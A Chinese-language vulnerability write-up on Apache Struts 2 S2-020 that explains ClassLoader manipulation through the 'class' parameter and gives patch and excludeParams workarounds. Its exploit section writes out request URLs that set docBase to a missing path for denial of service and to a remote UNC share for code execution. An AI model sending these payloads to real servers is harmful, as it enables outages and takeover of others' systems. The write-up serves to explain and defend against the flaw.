catalog
1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix
1. Description
0x1: 相关基础知识
Object是java的基础类,所有的class生成的对象,都会继承Object的所有属性和方法,因此当前action无论是什么代码,必须有Object自带的getClass方法,这个方法会返回一个Class对象,Class对象又一定会有getClassLoader方法,最终在每个action都可以
getClass().getClassLoader() //拿到当前的ClassLoader
在JRE启动中,每个Class都会有自己的ClassLoader。web容器为了方便的管理启动过程,通常都有实现自定义的ClassLoader,事实上每个容器的ClassLoader都是自己实现的,环境必然会有所不同
0x2: 漏洞根源
Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()方法),从而导致了攻击者可以控制ClassLoader,并修改ClassLoader中的属性,而根据修改ClassLoader属性的不同,可以衍生出不同的攻击向量
0x3: ClassLoader
一个Java程序之后,不是管是CS还是BS应用,都是由若干个.class文件组织而成的一个完整的Java应用程序,当程序在运行时,即会调用该程序的一个入口函数来调用系统的相关功能,而这些功能都被封装在不同的class文件当中,所以经常要从这个class文件中要调用另外一个class文件中的方法,如果另外一个文件不存在的,则会引发系统异常。而程序在启动的时候,并不会一次性加载程序所要用的所有class文件,而是根据程序的需要,通过Java的类加载机制(ClassLoader)来动态加载某个class文件到内存当中的,从而只有class文件被载入到了内存之后,才能被其它class所引用。所以ClassLoader就是用来动态加载class文件到内存当中用的
0x4: Java默认提供的三个ClassLoader
1. BootStrap ClassLoader: 启动类加载器 是Java类加载层次中最顶层的类加载器,负责加载JDK中的核心类库,如:rt.jar、resources.jar、charsets.jar等,可通过如下程序获得该类加载器从哪些地方加载了相关的jar或class文件/* URL[] urls = sun.misc.Launcher.getBootstrapClassPath().getURLs(); for (int i = 0; i < urls.length; i++) { System.out.println(urls[i].toExternalForm()); } */ 上述结果也是通过查找sun.boot.class.path这个系统属性所得知的 /* System.out.println(System.getProperty("sun.boot.class.path")); */ 2. Extension ClassLoader: 扩展类加载器 负责加载Java的扩展类库,默认加载JAVA_HOME/jre/lib/ext/目下的所有jar 3. App ClassLoader: 系统类加载器 负责加载应用程序classpath目录下的所有jar和class文件
除了Java默认提供的三个ClassLoader之外,用户还可以根据需要定义自已的ClassLoader,而这些自定义的ClassLoader都必须继承自java.lang.ClassLoader类,也包括Java提供的另外二个ClassLoader(Extension ClassLoader和App ClassLoader)在内,但是Bootstrap ClassLoader不继承自ClassLoader,因为它不是一个普通的Java类,底层由C++编写,已嵌入到了JVM内核当中,当JVM启动后,Bootstrap ClassLoader也随着启动,负责加载完核心类库后,并构造Extension ClassLoader和App ClassLoader类加载器
Relevant Link:
http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1 http://www.inbreak.net/archives/526 http://blog.csdn.net/xyang81/article/details/7292380
2. Effected Scope
Struts 2.0.0 - Struts 2.3.16
3. Exploit Analysis
0x1: 利用class.classLoader.resources.dirContext.docBase赋值造成的DoS
1. docBase这个参数是Tomcat进行应用目录映射路径配置的 2. 如果赋值的地址不存在会导致Tomcat整体解析失败 3. 通过修改污染ClassLoader,可以在当前应用进程(tomcat java进程)生命周期期间,持续使对docBase属性的修改生效,从而达到DOS目的
通过OGNLN解析,给当前应用目录赋个不存在的地址
http://localhost:8080/S2-XX/index.jsp http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=不存在路径
0x2: 远程代码执行
还是这个参数,既然可以指向任意地址,如果指向的地址映射目录,是攻击者可控的目录,那就是远程代码执行了,类似于PHP CMS漏洞中常见的本地变量覆盖导致global config劫持,将用户的网站的配置参数劫持到黑客控制的数据库中,从而绕过登录验证逻辑
docBase参数有三种地址路径部署方式
1. 相对路径:以Tomcat的webapps目录根更目录 2. 绝对路径:如: c://web/部署的应用目录 3. UNC path(如,远程共享一个标准的J2EE应用目录)
这里的UNC方式,和PHP CMS中的allow_url_include、allow_url_fopen本质是一样的
http://localhost:8080/S2-XX/Login.action?class.classLoader.resources.dirContext.docBase=//virus/test
Relevant Link:
http://wiki.apache.org/tomcat/FAQ/Windows#Q6 http://drops.wooyun.org/papers/1377
4. Principle Of Vulnerability
5. Patch Fix
0x1: upgrade struts2
If you cannot upgrade to version 2.3.16.1 which is strongly advised, In Struts 2.3.16.1, Commons FileUpload was updated to version 1.3.1 and "class" was added to excludeParams in struts-default.xml configuration of ParametersInterceptor.
0x2: Workaround: Upgrade commons-fileupload
The fixed commons-fileupload library is a drop-in replacement for the vulnerable version. Deployed applications can be hardened by replacing the commons-fileupload jar file in WEB-INF/lib with the updated jar. For Maven
based Struts 2 projects, the following dependency needs to be added:
单独替换commons-fileupload并重启struts2应用实现修复
<dependency> <groupId>commons-fileupload</groupId> <artifactId>commons-fileupload</artifactId> <version>1.3.1</version> </dependency>
0x3: Workaround: Exclude 'class' parameter
Simple add '^class\.*' to the list of excludeParams as below
struts2的漏洞基本和OGNL、Actoin的参数解析过程有关,因此在struts.xml中配置参数拦截器,可以有效拦截攻击
<interceptor-ref name="params"> <param name="excludeParams">^class\..*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param> </interceptor-ref>
Relevant Link:
http://struts.apache.org/docs/s2-020.html?spm=5176.775974950.2.9.ie55ik
Copyright (c) 2015 Little5ann All rights reserved